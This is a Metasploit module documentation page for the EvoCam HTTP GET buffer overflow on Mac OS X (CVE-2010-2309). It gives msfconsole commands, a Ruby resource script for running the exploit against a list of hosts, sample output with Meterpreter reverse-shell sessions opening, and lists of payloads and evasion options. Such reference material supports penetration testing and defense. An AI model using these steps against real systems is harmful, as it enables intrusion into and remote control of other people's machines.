MacOS X EvoCam HTTP GET Buffer Overflow - Metasploit

This page contains detailed information about how to use the exploit/osx/http/evocam_webserver metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview

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Name: MacOS X EvoCam HTTP GET Buffer Overflow
Module: exploit/osx/http/evocam_webserver
Source code: modules/exploits/osx/http/evocam_webserver.rb
Disclosure date: 2010-06-01
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): OSX
Target service / protocol: -
Target network port(s): 8080
List of CVEs: CVE-2010-2309

This module exploits a stack buffer overflow in the web server provided with the EvoCam program for Mac OS X. We use Dino Dai Zovi's exec-from-heap technique to copy the payload from the non-executable stack segment to heap memory. Vulnerable versions include 3.6.6, 3.6.7, and possibly earlier versions as well. EvoCam version 3.6.8 fixes the vulnerability.

Module Ranking and Traits

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Module Ranking:

• average: The exploit is generally unreliable or difficult to exploit. More information about ranking can be found here.

Basic Usage

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Using evocam_webserver against a single host

Normally, you can use exploit/osx/http/evocam_webserver this way:

msf > use exploit/osx/http/evocam_webserver
msf exploit(evocam_webserver) > show targets
    ... a list of targets ...
msf exploit(evocam_webserver) > set TARGET target-id
msf exploit(evocam_webserver) > show options
    ... show and set options ...
msf exploit(evocam_webserver) > exploit

Using evocam_webserver against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your evocam_webserver will be using:

1. Do: use exploit/multi/handler
2. Do: set PAYLOAD [payload]
3. Set other options required by the payload
4. Do: set EXITONSESSION false
5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/osx/http/evocam_webserver")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

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• RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

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Msfconsole Usage

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Here is how the osx/http/evocam_webserver exploit module looks in the msfconsole:

msf6 > use exploit/osx/http/evocam_webserver

[*] No payload configured, defaulting to generic/shell_reverse_tcp
msf6 exploit(osx/http/evocam_webserver) > show info

       Name: MacOS X EvoCam HTTP GET Buffer Overflow
     Module: exploit/osx/http/evocam_webserver
   Platform: OSX
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Average
  Disclosed: 2010-06-01

Provided by:
  Paul Harrington
  dookie

Available targets:
  Id  Name
  --  ----
  0   Mac OS X 10.5.8 x86, EvoCam 3.6.6
  1   Mac OS X 10.5.8 x86, EvoCam 3.6.7

Check supported:
  No

Basic options:
  Name    Current Setting  Required  Description
  ----    ---------------  --------  -----------
  RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT   8080             yes       The target port (TCP)

Payload information:
  Space: 300
  Avoid: 9 characters

Description:
  This module exploits a stack buffer overflow in the web server 
  provided with the EvoCam program for Mac OS X. We use Dino Dai 
  Zovi's exec-from-heap technique to copy the payload from the 
  non-executable stack segment to heap memory. Vulnerable versions 
  include 3.6.6, 3.6.7, and possibly earlier versions as well. EvoCam 
  version 3.6.8 fixes the vulnerability.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2010-2309
  OSVDB (65043)
  https://www.exploit-db.com/exploits/12835

Module Options

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This is a complete list of options available in the osx/http/evocam_webserver exploit:

msf6 exploit(osx/http/evocam_webserver) > show options

Module options (exploit/osx/http/evocam_webserver):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   RHOSTS                   yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT   8080             yes       The target port (TCP)

Payload options (generic/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   Mac OS X 10.5.8 x86, EvoCam 3.6.7

Advanced Options

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Here is a complete list of advanced options supported by the osx/http/evocam_webserver exploit:

msf6 exploit(osx/http/evocam_webserver) > show advanced

Module advanced options (exploit/osx/http/evocam_webserver):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (generic/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   ARCH                                         no        The architecture that is being targeted
   PLATFORM                                     no        The platform that is being targeted
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets

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Here is a list of targets (platforms and systems) which the osx/http/evocam_webserver module can exploit:

msf6 exploit(osx/http/evocam_webserver) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Mac OS X 10.5.8 x86, EvoCam 3.6.6
   1   Mac OS X 10.5.8 x86, EvoCam 3.6.7

Compatible Payloads

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This is a list of possible payloads which can be delivered and executed on the target system using the osx/http/evocam_webserver exploit:

msf6 exploit(osx/http/evocam_webserver) > show payloads

Compatible Payloads
===================

   #   Name                                      Disclosure Date  Rank    Check  Description
   -   ----                                      ---------------  ----    -----  -----------
   0   payload/generic/custom                                     normal  No     Custom Payload
   1   payload/generic/debug_trap                                 normal  No     Generic x86 Debug Trap
   2   payload/generic/shell_bind_tcp                             normal  No     Generic Command Shell, Bind TCP Inline
   3   payload/generic/shell_reverse_tcp                          normal  No     Generic Command Shell, Reverse TCP Inline
   4   payload/generic/tight_loop                                 normal  No     Generic x86 Tight Loop
   5   payload/osx/x86/bundleinject/bind_tcp                      normal  No     Mac OS X Inject Mach-O Bundle, Bind TCP Stager
   6   payload/osx/x86/bundleinject/reverse_tcp                   normal  No     Mac OS X Inject Mach-O Bundle, Reverse TCP Stager
   7   payload/osx/x86/exec                                       normal  No     OS X Execute Command
   8   payload/osx/x86/isight/bind_tcp                            normal  No     Mac OS X x86 iSight Photo Capture, Bind TCP Stager
   9   payload/osx/x86/isight/reverse_tcp                         normal  No     Mac OS X x86 iSight Photo Capture, Reverse TCP Stager
   10  payload/osx/x86/shell_bind_tcp                             normal  No     OS X Command Shell, Bind TCP Inline
   11  payload/osx/x86/shell_reverse_tcp                          normal  No     OS X Command Shell, Reverse TCP Inline
   12  payload/osx/x86/vforkshell/bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Stager
   13  payload/osx/x86/vforkshell/reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Stager
   14  payload/osx/x86/vforkshell_bind_tcp                        normal  No     OS X (vfork) Command Shell, Bind TCP Inline
   15  payload/osx/x86/vforkshell_reverse_tcp                     normal  No     OS X (vfork) Command Shell, Reverse TCP Inline

Evasion Options

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Here is the full list of possible evasion options supported by the osx/http/evocam_webserver exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(osx/http/evocam_webserver) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Related Pull Requests

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• #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
• #8940 Merged Pull Request: spelling/grammar fixes part 2
• #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
• #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
• #6812 Merged Pull Request: Resolve #6807, remove all OSVDB references.
• #6655 Merged Pull Request: use MetasploitModule as a class name
• #6648 Merged Pull Request: Change metasploit class names
• #2525 Merged Pull Request: Change module boilerplate
• #1241 Merged Pull Request: Removed all $Id$ and $Revision$ occurences
• #958 Merged Pull Request: Msftidy 2
• #259 Merged Pull Request: Convert Exploit-DB references to first-tier "EDB-12345" references

References

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• CVE-2010-2309
• OSVDB (65043)
• EDB-12835

See Also

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Check also the following modules related to this module:

• auxiliary/scanner/http/chromecast_webserver
• auxiliary/scanner/http/simple_webserver_traversal
• auxiliary/scanner/scada/indusoft_ntwebserver_fileaccess

Related Nessus plugins:

• EvoCam 3.6.6 / 3.6.7 Web Server GET Request Overflow

Authors

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• Paul Harrington
• dookie

Version

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This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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